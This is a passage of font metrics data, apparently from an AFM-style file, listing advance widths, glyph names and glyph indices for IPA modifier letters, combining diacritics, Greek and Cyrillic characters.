U 682 ; WX 862 ; N uni02AA ; G 620
U 683 ; WX 780 ; N uni02AB ; G 621
U 684 ; WX 591 ; N uni02AC ; G 622
U 685 ; WX 415 ; N uni02AD ; G 623
U 686 ; WX 677 ; N uni02AE ; G 624
U 687 ; WX 789 ; N uni02AF ; G 625
U 688 ; WX 456 ; N uni02B0 ; G 626
U 689 ; WX 456 ; N uni02B1 ; G 627
U 690 ; WX 219 ; N uni02B2 ; G 628
U 691 ; WX 315 ; N uni02B3 ; G 629
U 692 ; WX 315 ; N uni02B4 ; G 630
U 693 ; WX 315 ; N uni02B5 ; G 631
U 694 ; WX 411 ; N uni02B6 ; G 632
U 695 ; WX 591 ; N uni02B7 ; G 633
U 696 ; WX 417 ; N uni02B8 ; G 634
U 697 ; WX 302 ; N uni02B9 ; G 635
U 698 ; WX 521 ; N uni02BA ; G 636
U 699 ; WX 380 ; N uni02BB ; G 637
U 700 ; WX 380 ; N uni02BC ; G 638
U 701 ; WX 380 ; N uni02BD ; G 639
U 702 ; WX 366 ; N uni02BE ; G 640
U 703 ; WX 366 ; N uni02BF ; G 641
U 704 ; WX 326 ; N uni02C0 ; G 642
U 705 ; WX 326 ; N uni02C1 ; G 643
U 706 ; WX 500 ; N uni02C2 ; G 644
U 707 ; WX 500 ; N uni02C3 ; G 645
U 708 ; WX 500 ; N uni02C4 ; G 646
U 709 ; WX 500 ; N uni02C5 ; G 647
U 710 ; WX 500 ; N circumflex ; G 648
U 711 ; WX 500 ; N caron ; G 649
U 712 ; WX 306 ; N uni02C8 ; G 650
U 713 ; WX 500 ; N uni02C9 ; G 651
U 714 ; WX 500 ; N uni02CA ; G 652
U 715 ; WX 500 ; N uni02CB ; G 653
U 716 ; WX 306 ; N uni02CC ; G 654
U 717 ; WX 500 ; N uni02CD ; G 655
U 718 ; WX 500 ; N uni02CE ; G 656
U 719 ; WX 500 ; N uni02CF ; G 657
U 720 ; WX 337 ; N uni02D0 ; G 658
U 721 ; WX 337 ; N uni02D1 ; G 659
U 722 ; WX 366 ; N uni02D2 ; G 660
U 723 ; WX 366 ; N uni02D3 ; G 661
U 724 ; WX 500 ; N uni02D4 ; G 662
U 725 ; WX 500 ; N uni02D5 ; G 663
U 726 ; WX 416 ; N uni02D6 ; G 664
U 727 ; WX 328 ; N uni02D7 ; G 665
U 728 ; WX 500 ; N breve ; G 666
U 729 ; WX 500 ; N dotaccent ; G 667
U 730 ; WX 500 ; N ring ; G 668
U 731 ; WX 500 ; N ogonek ; G 669
U 732 ; WX 500 ; N tilde ; G 670
U 733 ; WX 500 ; N hungarumlaut ; G 671
U 734 ; WX 351 ; N uni02DE ; G 672
U 735 ; WX 500 ; N uni02DF ; G 673
U 736 ; WX 412 ; N uni02E0 ; G 674
U 737 ; WX 219 ; N uni02E1 ; G 675
U 738 ; WX 381 ; N uni02E2 ; G 676
U 739 ; WX 413 ; N uni02E3 ; G 677
U 740 ; WX 326 ; N uni02E4 ; G 678
U 741 ; WX 500 ; N uni02E5 ; G 679
U 742 ; WX 500 ; N uni02E6 ; G 680
U 743 ; WX 500 ; N uni02E7 ; G 681
U 744 ; WX 500 ; N uni02E8 ; G 682
U 745 ; WX 500 ; N uni02E9 ; G 683
U 748 ; WX 500 ; N uni02EC ; G 684
U 749 ; WX 500 ; N uni02ED ; G 685
U 750 ; WX 657 ; N uni02EE ; G 686
U 755 ; WX 500 ; N uni02F3 ; G 687
U 759 ; WX 500 ; N uni02F7 ; G 688
U 768 ; WX 0 ; N gravecomb ; G 689
U 769 ; WX 0 ; N acutecomb ; G 690
U 770 ; WX 0 ; N uni0302 ; G 691
U 771 ; WX 0 ; N tildecomb ; G 692
U 772 ; WX 0 ; N uni0304 ; G 693
U 773 ; WX 0 ; N uni0305 ; G 694
U 774 ; WX 0 ; N uni0306 ; G 695
U 775 ; WX 0 ; N uni0307 ; G 696
U 776 ; WX 0 ; N uni0308 ; G 697
U 777 ; WX 0 ; N hookabovecomb ; G 698
U 778 ; WX 0 ; N uni030A ; G 699
U 779 ; WX 0 ; N uni030B ; G 700
U 780 ; WX 0 ; N uni030C ; G 701
U 781 ; WX 0 ; N uni030D ; G 702
U 782 ; WX 0 ; N uni030E ; G 703
U 783 ; WX 0 ; N uni030F ; G 704
U 784 ; WX 0 ; N uni0310 ; G 705
U 785 ; WX 0 ; N uni0311 ; G 706
U 786 ; WX 0 ; N uni0312 ; G 707
U 787 ; WX 0 ; N uni0313 ; G 708
U 788 ; WX 0 ; N uni0314 ; G 709
U 789 ; WX 0 ; N uni0315 ; G 710
U 790 ; WX 0 ; N uni0316 ; G 711
U 791 ; WX 0 ; N uni0317 ; G 712
U 792 ; WX 0 ; N uni0318 ; G 713
U 793 ; WX 0 ; N uni0319 ; G 714
U 794 ; WX 0 ; N uni031A ; G 715
U 795 ; WX 0 ; N uni031B ; G 716
U 796 ; WX 0 ; N uni031C ; G 717
U 797 ; WX 0 ; N uni031D ; G 718
U 798 ; WX 0 ; N uni031E ; G 719
U 799 ; WX 0 ; N uni031F ; G 720
U 800 ; WX 0 ; N uni0320 ; G 721
U 801 ; WX 0 ; N uni0321 ; G 722
U 802 ; WX 0 ; N uni0322 ; G 723
U 803 ; WX 0 ; N dotbelowcomb ; G 724
U 804 ; WX 0 ; N uni0324 ; G 725
U 805 ; WX 0 ; N uni0325 ; G 726
U 806 ; WX 0 ; N uni0326 ; G 727
U 807 ; WX 0 ; N uni0327 ; G 728
U 808 ; WX 0 ; N uni0328 ; G 729
U 809 ; WX 0 ; N uni0329 ; G 730
U 810 ; WX 0 ; N uni032A ; G 731
U 811 ; WX 0 ; N uni032B ; G 732
U 812 ; WX 0 ; N uni032C ; G 733
U 813 ; WX 0 ; N uni032D ; G 734
U 814 ; WX 0 ; N uni032E ; G 735
U 815 ; WX 0 ; N uni032F ; G 736
U 816 ; WX 0 ; N uni0330 ; G 737
U 817 ; WX 0 ; N uni0331 ; G 738
U 818 ; WX 0 ; N uni0332 ; G 739
U 819 ; WX 0 ; N uni0333 ; G 740
U 820 ; WX 0 ; N uni0334 ; G 741
U 821 ; WX 0 ; N uni0335 ; G 742
U 822 ; WX 0 ; N uni0336 ; G 743
U 823 ; WX 0 ; N uni0337 ; G 744
U 824 ; WX 0 ; N uni0338 ; G 745
U 825 ; WX 0 ; N uni0339 ; G 746
U 826 ; WX 0 ; N uni033A ; G 747
U 827 ; WX 0 ; N uni033B ; G 748
U 828 ; WX 0 ; N uni033C ; G 749
U 829 ; WX 0 ; N uni033D ; G 750
U 830 ; WX 0 ; N uni033E ; G 751
U 831 ; WX 0 ; N uni033F ; G 752
U 832 ; WX 0 ; N uni0340 ; G 753
U 833 ; WX 0 ; N uni0341 ; G 754
U 834 ; WX 0 ; N uni0342 ; G 755
U 835 ; WX 0 ; N uni0343 ; G 756
U 836 ; WX 0 ; N uni0344 ; G 757
U 837 ; WX 0 ; N uni0345 ; G 758
U 838 ; WX 0 ; N uni0346 ; G 759
U 839 ; WX 0 ; N uni0347 ; G 760
U 840 ; WX 0 ; N uni0348 ; G 761
U 841 ; WX 0 ; N uni0349 ; G 762
U 842 ; WX 0 ; N uni034A ; G 763
U 843 ; WX 0 ; N uni034B ; G 764
U 844 ; WX 0 ; N uni034C ; G 765
U 845 ; WX 0 ; N uni034D ; G 766
U 846 ; WX 0 ; N uni034E ; G 767
U 847 ; WX 0 ; N uni034F ; G 768
U 849 ; WX 0 ; N uni0351 ; G 769
U 850 ; WX 0 ; N uni0352 ; G 770
U 851 ; WX 0 ; N uni0353 ; G 771
U 855 ; WX 0 ; N uni0357 ; G 772
U 856 ; WX 0 ; N uni0358 ; G 773
U 858 ; WX 0 ; N uni035A ; G 774
U 860 ; WX 0 ; N uni035C ; G 775
U 861 ; WX 0 ; N uni035D ; G 776
U 862 ; WX 0 ; N uni035E ; G 777
U 863 ; WX 0 ; N uni035F ; G 778
U 864 ; WX 0 ; N uni0360 ; G 779
U 865 ; WX 0 ; N uni0361 ; G 780
U 866 ; WX 0 ; N uni0362 ; G 781
U 880 ; WX 698 ; N uni0370 ; G 782
U 881 ; WX 565 ; N uni0371 ; G 783
U 882 ; WX 1022 ; N uni0372 ; G 784
U 883 ; WX 836 ; N uni0373 ; G 785
U 884 ; WX 302 ; N uni0374 ; G 786
U 885 ; WX 302 ; N uni0375 ; G 787
U 886 ; WX 837 ; N uni0376 ; G 788
U 887 ; WX 701 ; N uni0377 ; G 789
U 890 ; WX 500 ; N uni037A ; G 790
U 891 ; WX 593 ; N uni037B ; G 791
U 892 ; WX 550 ; N uni037C ; G 792
U 893 ; WX 549 ; N uni037D ; G 793
U 894 ; WX 400 ; N uni037E ; G 794
U 895 ; WX 372 ; N uni037F ; G 795
U 900 ; WX 441 ; N tonos ; G 796
U 901 ; WX 500 ; N dieresistonos ; G 797
U 902 ; WX 797 ; N Alphatonos ; G 798
U 903 ; WX 380 ; N anoteleia ; G 799
U 904 ; WX 846 ; N Epsilontonos ; G 800
U 905 ; WX 1009 ; N Etatonos ; G 801
U 906 ; WX 563 ; N Iotatonos ; G 802
U 908 ; WX 891 ; N Omicrontonos ; G 803
U 910 ; WX 980 ; N Upsilontonos ; G 804
U 911 ; WX 894 ; N Omegatonos ; G 805
U 912 ; WX 390 ; N iotadieresistonos ; G 806
U 913 ; WX 774 ; N Alpha ; G 807
U 914 ; WX 762 ; N Beta ; G 808
U 915 ; WX 637 ; N Gamma ; G 809
U 916 ; WX 774 ; N uni0394 ; G 810
U 917 ; WX 683 ; N Epsilon ; G 811
U 918 ; WX 725 ; N Zeta ; G 812
U 919 ; WX 837 ; N Eta ; G 813
U 920 ; WX 850 ; N Theta ; G 814
U 921 ; WX 372 ; N Iota ; G 815
U 922 ; WX 775 ; N Kappa ; G 816
U 923 ; WX 774 ; N Lambda ; G 817
U 924 ; WX 995 ; N Mu ; G 818
U 925 ; WX 837 ; N Nu ; G 819
U 926 ; WX 632 ; N Xi ; G 820
U 927 ; WX 850 ; N Omicron ; G 821
U 928 ; WX 837 ; N Pi ; G 822
U 929 ; WX 733 ; N Rho ; G 823
U 931 ; WX 683 ; N Sigma ; G 824
U 932 ; WX 682 ; N Tau ; G 825
U 933 ; WX 724 ; N Upsilon ; G 826
U 934 ; WX 850 ; N Phi ; G 827
U 935 ; WX 771 ; N Chi ; G 828
U 936 ; WX 850 ; N Psi ; G 829
U 937 ; WX 850 ; N Omega ; G 830
U 938 ; WX 372 ; N Iotadieresis ; G 831
U 939 ; WX 724 ; N Upsilondieresis ; G 832
U 940 ; WX 687 ; N alphatonos ; G 833
U 941 ; WX 557 ; N epsilontonos ; G 834
U 942 ; WX 712 ; N etatonos ; G 835
U 943 ; WX 390 ; N iotatonos ; G 836
U 944 ; WX 675 ; N upsilondieresistonos ; G 837
U 945 ; WX 687 ; N alpha ; G 838
U 946 ; WX 716 ; N beta ; G 839
U 947 ; WX 681 ; N gamma ; G 840
U 948 ; WX 687 ; N delta ; G 841
U 949 ; WX 557 ; N epsilon ; G 842
U 950 ; WX 591 ; N zeta ; G 843
U 951 ; WX 712 ; N eta ; G 844
U 952 ; WX 687 ; N theta ; G 845
U 953 ; WX 390 ; N iota ; G 846
U 954 ; WX 710 ; N kappa ; G 847
U 955 ; WX 633 ; N lambda ; G 848
U 956 ; WX 736 ; N uni03BC ; G 849
U 957 ; WX 681 ; N nu ; G 850
U 958 ; WX 591 ; N xi ; G 851
U 959 ; WX 687 ; N omicron ; G 852
U 960 ; WX 791 ; N pi ; G 853
U 961 ; WX 716 ; N rho ; G 854
U 962 ; WX 593 ; N sigma1 ; G 855
U 963 ; WX 779 ; N sigma ; G 856
U 964 ; WX 638 ; N tau ; G 857
U 965 ; WX 675 ; N upsilon ; G 858
U 966 ; WX 782 ; N phi ; G 859
U 967 ; WX 645 ; N chi ; G 860
U 968 ; WX 794 ; N psi ; G 861
U 969 ; WX 869 ; N omega ; G 862
U 970 ; WX 390 ; N iotadieresis ; G 863
U 971 ; WX 675 ; N upsilondieresis ; G 864
U 972 ; WX 687 ; N omicrontonos ; G 865
U 973 ; WX 675 ; N upsilontonos ; G 866
U 974 ; WX 869 ; N omegatonos ; G 867
U 975 ; WX 775 ; N uni03CF ; G 868
U 976 ; WX 651 ; N uni03D0 ; G 869
U 977 ; WX 661 ; N theta1 ; G 870
U 978 ; WX 746 ; N Upsilon1 ; G 871
U 979 ; WX 981 ; N uni03D3 ; G 872
U 980 ; WX 746 ; N uni03D4 ; G 873
U 981 ; WX 796 ; N phi1 ; G 874
U 982 ; WX 869 ; N omega1 ; G 875
U 983 ; WX 744 ; N uni03D7 ; G 876
U 984 ; WX 850 ; N uni03D8 ; G 877
U 985 ; WX 687 ; N uni03D9 ; G 878
U 986 ; WX 734 ; N uni03DA ; G 879
U 987 ; WX 593 ; N uni03DB ; G 880
U 988 ; WX 683 ; N uni03DC ; G 881
U 989 ; WX 494 ; N uni03DD ; G 882
U 990 ; WX 702 ; N uni03DE ; G 883
U 991 ; WX 660 ; N uni03DF ; G 884
U 992 ; WX 919 ; N uni03E0 ; G 885
U 993 ; WX 627 ; N uni03E1 ; G 886
U 994 ; WX 1093 ; N uni03E2 ; G 887
U 995 ; WX 837 ; N uni03E3 ; G 888
U 996 ; WX 832 ; N uni03E4 ; G 889
U 997 ; WX 716 ; N uni03E5 ; G 890
U 998 ; WX 928 ; N uni03E6 ; G 891
U 999 ; WX 744 ; N uni03E7 ; G 892
U 1000 ; WX 733 ; N uni03E8 ; G 893
U 1001 ; WX 650 ; N uni03E9 ; G 894
U 1002 ; WX 789 ; N uni03EA ; G 895
U 1003 ; WX 671 ; N uni03EB ; G 896
U 1004 ; WX 752 ; N uni03EC ; G 897
U 1005 ; WX 716 ; N uni03ED ; G 898
U 1006 ; WX 682 ; N uni03EE ; G 899
U 1007 ; WX 590 ; N uni03EF ; G 900
U 1008 ; WX 744 ; N uni03F0 ; G 901
U 1009 ; WX 716 ; N uni03F1 ; G 902
U 1010 ; WX 593 ; N uni03F2 ; G 903
U 1011 ; WX 343 ; N uni03F3 ; G 904
U 1012 ; WX 850 ; N uni03F4 ; G 905
U 1013 ; WX 645 ; N uni03F5 ; G 906
U 1014 ; WX 644 ; N uni03F6 ; G 907
U 1015 ; WX 738 ; N uni03F7 ; G 908
U 1016 ; WX 716 ; N uni03F8 ; G 909
U 1017 ; WX 734 ; N uni03F9 ; G 910
U 1018 ; WX 995 ; N uni03FA ; G 911
U 1019 ; WX 732 ; N uni03FB ; G 912
U 1020 ; WX 716 ; N uni03FC ; G 913
U 1021 ; WX 698 ; N uni03FD ; G 914
U 1022 ; WX 734 ; N uni03FE ; G 915
U 1023 ; WX 698 ; N uni03FF ; G 916
U 1024 ; WX 683 ; N uni0400 ; G 917
U 1025 ; WX 683 ; N uni0401 ; G 918
U 1026 ; WX 878 ; N uni0402 ; G 919
U 1027 ; WX 637 ; N uni0403 ; G 920
U 1028 ; WX 734 ; N uni0404 ; G 921
U 1029 ; WX 720 ; N uni0405 ; G 922
U 1030 ; WX 372 ; N uni0406 ; G 923
U 1031 ; WX 372 ; N uni0407 ; G 924
U 1032 ; WX 372 ; N uni0408 ; G 925
U 1033 ; WX 1154 ; N uni0409 ; G 926
U 1034 ; WX 1130 ; N uni040A ; G 927
U 1035 ; WX 878 ; N uni040B ; G 928
U 1036 ; WX 817 ; N uni040C ; G 929
U 1037 ; WX 837 ; N uni040D ; G 930
U 1038 ; WX 771 ; N uni040E ; G 931
U 1039 ; WX 837 ; N uni040F ; G 932
U 1040 ; WX 774 ; N uni0410 ; G 933
U 1041 ; WX 762 ; N uni0411 ; G 934
U 1042 ; WX 762 ; N uni0412 ; G 935
U 1043 ; WX 637 ; N uni0413 ; G 936
U 1044 ; WX 891 ; N uni0414 ; G 937
U 1045 ; WX 683 ; N uni0415 ; G 938
U 1046 ; WX 1224 ; N uni0416 ; G 939
U 1047 ; WX 710 ; N uni0417 ; G 940
U 1048 ; WX 837 ; N uni0418 ; G 941
U 1049 ; WX 837 ; N uni0419 ; G 942
U 1050 ; WX 817 ; N uni041A ; G 943
U 1051 ; WX 831 ; N uni041B ; G 944
U 1052 ; WX 995 ; N uni041C ; G 945
U 1053 ; WX 837 ; N uni041D ; G 946
U 1054 ; WX 850 ; N uni041E ; G 947
U 1055 ; WX 837 ; N uni041F ; G 948
U 1056 ; WX 733 ; N uni0420 ; G 949
U 1057 ; WX 734 ; N uni0421 ; G 950
U 1058 ; WX 682 ; N uni0422 ; G 951
U 1059 ; WX 771 ; N uni0423 ; G 952
U 1060 ; WX 992 ; N uni0424 ; G 953
U 1061 ; WX 771 ; N uni0425 ; G 954
U 1062 ; WX 928 ; N uni0426 ; G 955
U 1063 ; WX 808 ; N uni0427 ; G 956
U 1064 ; WX 1235 ; N uni0428 ; G 957
U 1065 ; WX 1326 ; N uni0429 ; G 958
U 1066 ; WX 939 ; N uni042A ; G 959
U 1067 ; WX 1036 ; N uni042B ; G 960
U 1068 ; WX 762 ; N uni042C ; G 961
U 1069 ; WX 734 ; N uni042D ; G 962
U 1070 ; WX 1174 ; N uni042E ; G 963
U 1071 ; WX 770 ; N uni042F ; G 964
U 1072 ; WX 675 ; N uni0430 ; G 965
U 1073 ; WX 698 ; N uni0431 ; G 966
U 1074 ; WX 633 ; N uni0432 ; G 967
U 1075 ; WX 522 ; N uni0433 ; G 968
U 1076 ; WX 808 ; N uni0434 ; G 969
U 1077 ; WX 678 ; N uni0435 ; G 970
U 1078 ; WX 995 ; N uni0436 ; G 971
U 1079 ; WX 581 ; N uni0437 ; G 972
U 1080 ; WX 701 ; N uni0438 ; G 973
U 1081 ; WX 701 ; N uni0439 ; G 974
U 1082 ; WX 679 ; N uni043A ; G 975
U 1083 ; WX 732 ; N uni043B ; G 976
U 1084 ; WX 817 ; N uni043C ; G 977
U 1085 ; WX 691 ; N uni043D ; G 978
U 1086 ; WX 687 ; N uni043E ; G 979
U 1087 ; WX 691 ; N uni043F ; G 980
U 1088 ; WX 716 ; N uni0440 ; G 981
U 1089 ; WX 593 ; N uni0441 ; G 982
U 1090 ; WX 580 ; N uni0442 ; G 983
U 1091 ; WX 652 ; N uni0443 ; G 984
U 1092 ; WX 992 ; N uni0444 ; G 985
U 1093 ; WX 645 ; N uni0445 ; G 986
U 1094 ; WX 741 ; N uni0446 ; G 987
U 1095 ; WX 687 ; N uni0447 ; G 988
U 1096 ; WX 1062 ; N uni0448 ; G 989
U 1097 ; WX 1105 ; N uni0449 ; G 990
U 1098 ; WX 751 ; N uni044A ; G 991
U 1099 ; WX 904 ; N uni044B ; G 992
U 1100 ; WX 632 ; N uni044C ; G 993
U 1101 ; WX 593 ; N uni044D ; G 994
U 1102 ; WX 972 ; N uni044E ; G 995
U 1103 ; WX 642 ; N uni044F ; G 996
U 1104 ; WX 678 ; N uni0450 ; G 997
U 1105 ; WX 678 ; N uni0451 ; G 998
U 1106 ; WX 714 ; N uni0452 ; G 999
U 1107 ; WX 522 ; N uni0453 ; G 1000
U 1108 ; WX 593 ; N uni0454 ; G 1001
U 1109 ; WX 595 ; N uni0455 ; G 1002
U 1110 ; WX 343 ; N uni0456 ; G 1003
U 1111 ; WX 343 ; N uni0457 ; G 1004
U 1112 ; WX 343 ; N uni0458 ; G 1005
U 1113 ; WX 991 ; N uni0459 ; G 1006
U 1114 ; WX 956 ; N uni045A ; G 1007
U 1115 ; WX 734 ; N uni045B ; G 1008
U 1116 ; WX 679 ; N uni045C ; G 1009
U 1117 ; WX 701 ; N uni045D ; G 1010
U 1118 ; WX 652 ; N uni045E ; G 1011
U 1119 ; WX 691 ; N uni045F ; G 1012
U 1120 ; WX 1093 ; N uni0460 ; G 1013
U 1121 ; WX 869 ; N uni0461 ; G 1014
U 1122 ; WX 840 ; N uni0462 ; G 1015
U 1123 ; WX 736 ; N uni0463 ; G 1016
U 1124 ; WX 1012 ; N uni0464 ; G 1017
U 1125 ; WX 839 ; N uni0465 ; G 1018
U 1126 ; WX 992 ; N uni0466 ; G 1019
U 1127 ; WX 832 ; N uni0467 ; G 1020
U 1128 ; WX 1358 ; N uni0468 ; G 1021
U 1129 ; WX 1121 ; N uni0469 ; G 1022
U 1130 ; WX 850 ; N uni046A ; G 1023
U 1131 ; WX 687 ; N uni046B ; G 1024
U 1132 ; WX 1236 ; N uni046C ; G 1025
U 1133 ; WX 1007 ; N uni046D ; G 1026
U 1134 ; WX 696 ; N uni046E ; G 1027
U 1135 ; WX 557 ; N uni046F ; G 1028
U 1136 ; WX 1075 ; N uni0470 ; G 1029
U 1137 ; WX 1061 ; N uni0471 ; G 1030
U 1138 ; WX 850 ; N uni0472 ; G 1031
U 1139 ; WX 687 ; N uni0473 ; G 1032
U 1140 ; WX 850 ; N uni0474 ; G 1033
U 1141 ; WX 695 ; N uni0475 ; G 1034
U 1142 ; WX 850 ; N uni0476 ; G 1035
U 1143 ; WX 695 ; N uni0477 ; G 1036
U 1144 ; WX 1148 ; N uni0478 ; G 1037
U 1145 ; WX 1043 ; N uni0479 ; G 1038
U 1146 ; WX 1074 ; N uni047A ; G 1039
U 1147 ; WX 863 ; N uni047B ; G 1040
U 1148 ; WX 1405 ; N uni047C ; G 1041
U 1149 ; WX 1173 ; N uni047D ; G 1042
U 1150 ; WX 1093 ; N uni047E ; G 1043
U 1151 ; WX 869 ; N uni047F ; G 1044
U 1152 ; WX 734 ; N uni0480 ; G 1045
U 1153 ; WX 593 ; N uni0481 ; G 1046
U 1154 ; WX 652 ; N uni0482 ; G 1047
U 1155 ; WX 0 ; N uni0483 ; G 1048
U 1156 ; WX 0 ; N uni0484 ; G 1049
U 1157 ; WX 0 ; N uni0485 ; G 1050
U 1158 ; WX 0 ; N uni0486 ; G 1051
U 1159 ; WX 0 ; N uni0487 ; G 1052
U 1160 ; WX 418 ; N uni0488 ; G 1053
U 1161 ; WX 418 ; N uni0489 ; G 1054
U 1162 ; WX 957 ; N uni048A ; G 1055
U 1163 ; WX 807 ; N uni048B ; G 1056
U 1164 ; WX 762 ; N uni048C ; G 1057
U 1165 ; WX 611 ; N uni048D ; G 1058
U 1166 ; WX 733 ; N uni048E ; G 1059
U 1167 ; WX 716 ; N uni048F ; G 1060
U 1168 ; WX 637 ; N uni0490 ; G 1061
U 1169 ; WX 522 ; N uni0491 ; G 1062
U 1170 ; WX 666 ; N uni0492 ; G 1063
U 1171 ; WX 543 ; N uni0493 ; G 1064
U 1172 ; WX 808 ; N uni0494 ; G 1065
U 1173 ; WX 669 ; N uni0495 ; G 1066
U 1174 ; WX 1224 ; N uni0496 ; G 1067
U 1175 ; WX 995 ; N uni0497 ; G 1068
U 1176 ; WX 710 ; N uni0498 ; G 1069
U 1177 ; WX 581 ; N uni0499 ; G 1070
U 1178 ; WX 775 ; N uni049A ; G 1071
U 1179 ; WX 679 ; N uni049B ; G 1072
U 1180 ; WX 817 ; N uni049C ; G 1073
U 1181 ; WX 679 ; N uni049D ; G 1074
U 1182 ; WX 817 ; N uni049E ; G 1075
U 1183 ; WX 679 ; N uni049F ; G 1076
U 1184 ; WX 1015 ; N uni04A0 ; G 1077
U 1185 ; WX 826 ; N uni04A1 ; G 1078
U 1186 ; WX 956 ; N uni04A2 ; G 1079
U 1187 ; WX 808 ; N uni04A3 ; G 1080
U 1188 ; WX 1103 ; N uni04A4 ; G 1081
U 1189 ; WX 874 ; N uni04A5 ; G 1082
U 1190 ; WX 1273 ; N uni04A6 ; G 1083
U 1191 ; WX 1017 ; N uni04A7 ; G 1084
U 1192 ; WX 952 ; N uni04A8 ; G 1085
U 1193 ; WX 858 ; N uni04A9 ; G 1086
U 1194 ; WX 734 ; N uni04AA ; G 1087
U 1195 ; WX 593 ; N uni04AB ; G 1088
U 1196 ; WX 682 ; N uni04AC ; G 1089
U 1197 ; WX 580 ; N uni04AD ; G 1090
U 1198 ; WX 724 ; N uni04AE ; G 1091
U 1199 ; WX 652 ; N uni04AF ; G 1092
U 1200 ; WX 724 ; N uni04B0 ; G 1093
U 1201 ; WX 652 ; N uni04B1 ; G 1094
U 1202 ; WX 771 ; N uni04B2 ; G 1095
U 1203 ; WX 645 ; N uni04B3 ; G 1096
U 1204 ; WX 1112 ; N uni04B4 ; G 1097
U 1205 ; WX 1000 ; N uni04B5 ; G 1098
U 1206 ; WX 808 ; N uni04B6 ; G 1099
U 1207 ; WX 687 ; N uni04B7 ; G 1100
U 1208 ; WX 808 ; N uni04B8 ; G 1101
U 1209 ; WX 687 ; N uni04B9 ; G 1102
U 1210 ; WX 808 ; N uni04BA ; G 1103
U 1211 ; WX 712 ; N uni04BB ; G 1104
U 1212 ; WX 1026 ; N uni04BC ; G 1105
U 1213 ; WX 810 ; N uni04BD ; G 1106
U 1214 ; WX 1026 ; N uni04BE ; G 1107
U 1215 ; WX 810 ; N uni04BF ; G 1108
U 1216 ; WX 372 ; N uni04C0 ; G 1109
U 1217 ; WX 1224 ; N uni04C1 ; G 1110
U 1218 ; WX 995 ; N uni04C2 ; G 1111
U 1219 ; WX 775 ; N uni04C3 ; G 1112
U 1220 ; WX 630 ; N uni04C4 ; G 1113
U 1221 ; WX 951 ; N uni04C5 ; G 1114
U 1222 ; WX 805 ; N uni04C6 ; G 1115
U 1223 ; WX 837 ; N uni04C7 ; G 1116
U 1224 ; WX 691 ; N uni04C8 ; G 1117
U 1225 ; WX 957 ; N uni04C9 ; G 1118
U 1226 ; WX 807 ; N uni04CA ; G 1119
U 1227 ; WX 808 ; N uni04CB ; G 1120
U 1228 ; WX 687 ; N uni04CC ; G 1121
U 1229 ; WX 1115 ; N uni04CD ; G 1122
U 1230 ; WX 933 ; N uni04CE ; G 1123
U 1231 ; WX 343 ; N uni04CF ; G 1124
U 1232 ; WX 774 ; N uni04D0 ; G 1125
U 1233 ; WX 675 ; N uni04D1 ; G 1126
U 1234 ; WX 774 ; N uni04D2 ; G 1127
U 1235 ; WX 675 ; N uni04D3 ; G 1128
U 1236 ; WX 1085 ; N uni04D4 ; G 1129
U 1237 ; WX 1048 ; N uni04D5 ; G 1130
U 1238 ; WX 683 ; N uni04D6 ; G 1131
U 1239 ; WX 678 ; N uni04D7 ; G 1132
U 1240 ; WX 849 ; N uni04D8 ; G 1133
U 1241 ; WX 678 ; N uni04D9 ; G 1134
U 1242 ; WX 849 ; N uni04DA ; G 1135
U 1243 ; WX 678 ; N uni04DB ; G 1136
U 1244 ; WX 1224 ; N uni04DC ; G 1137
U 1245 ; WX 995 ; N uni04DD ; G 1138
U 1246 ; WX 710 ; N uni04DE ; G 1139
U 1247 ; WX 581 ; N uni04DF ; G 1140
U 1248 ; WX 772 ; N uni04E0 ; G 1141
U 1249 ; WX 641 ; N uni04E1 ; G 1142
U 1250 ; WX 837 ; N uni04E2 ; G 1143
U 1251 ; WX 701 ; N uni04E3 ; G 1144
U 1252 ; WX 837 ; N uni04E4 ; G 1145
U 1253 ; WX 701 ; N uni04E5 ; G 1146
U 1254 ; WX 850 ; N uni04E6 ; G 1147
U 1255 ; WX 687 ; N uni04E7 ; G 1148
U 1256 ; WX 850 ; N uni04E8 ; G 1149
U 1257 ; WX 687 ; N uni04E9 ; G 1150
U 1258 ; WX 850 ; N uni04EA ; G 1151
U 1259 ; WX 687 ; N uni04EB ; G 1152
U 1260 ; WX 734 ; N uni04EC ; G 1153
U 1261 ; WX 593 ; N uni04ED ; G 1154
U 1262 ; WX 771 ; N uni04EE ; G 1155
U 1263 ; WX 652 ; N uni04EF ; G 1156
U 1264 ; WX 771 ; N uni04F0 ; G 1157
U 1265 ; WX 652 ; N uni04F1 ; G 1158
U 1266 ; WX 771 ; N uni04F2 ; G 1159
U 1267 ; WX 652 ; N uni04F3 ; G 1160
U 1268 ; WX 808 ; N uni04F4 ; G 1161
U 1269 ; WX 687 ; N uni04F5 ; G 1162
U 1270 ; WX 637 ; N uni04F6 ; G 1163
U 1271 ; WX 522 ; N uni04F7 ; G 1164
U 1272 ; WX 1036 ; N uni04F8 ; G 1165
U 1273 ; WX 904 ; N uni04F9 ; G 1166
U 1274 ; WX 666 ; N uni04FA ; G 1167
U 1275 ; WX 543 ; N uni04FB ; G 1168
U 1276 ; WX 771 ; N uni04FC ; G 1169
U 1277 ; WX 645 ; N uni04FD ; G 1170
U 1278 ; WX 771 ; N uni04FE ; G 1171
U 1279 ; WX 645 ; N uni04FF ; G 1172
U 1280 ; WX 762 ; N uni0500 ; G 1173
U 1281 ; WX 608 ; N uni0501 ; G 1174
U 1282 ; WX 1159 ; N uni0502 ; G 1175
U 1283 ; WX 893 ; N uni0503 ; G 1176
U 1284 ; WX 1119 ; N uni0504 ; G 1177
U 1285 ; WX 920 ; N uni0505 ; G 1178
U 1286 ; WX 828 ; N uni0506 ; G 1179
U 1287 ; WX 693 ; N uni0507 ; G 1180
U 1288 ; WX 1242 ; N uni0508 ; G 1181
U 1289 ; WX 1017 ; N uni0509 ; G 1182
U 1290 ; WX 1289 ; N uni050A ; G 1183
U 1291 ; WX 1013 ; N uni050B ; G 1184
U 1292 ; WX 839 ; N uni050C ; G 1185
U 1293 ; WX 638 ; N uni050D ; G 1186
U 1294 ; WX 938 ; N uni050E ; G 1187
U 1295 ; WX 803 ; N uni050F ; G 1188
U 1296 ; WX 696 ; N uni0510 ; G 1189
U 1297 ; WX 557 ; N uni0511 ; G 1190
U 1298 ; WX 831 ; N uni0512 ; G 1191
U 1299 ; WX 732 ; N uni0513 ; G 1192
U 1300 ; WX 1286 ; N uni0514 ; G 1193
U 1301 ; WX 1068 ; N uni0515 ; G 1194
U 1302 ; WX 1065 ; N uni0516 ; G 1195
U 1303 ; WX 979 ; N uni0517 ; G 1196
U 1304 ; WX 1082 ; N uni0518 ; G 1197
U 1305 ; WX 1013 ; N uni0519 ; G 1198
U 1306 ; WX 850 ; N uni051A ; G 1199
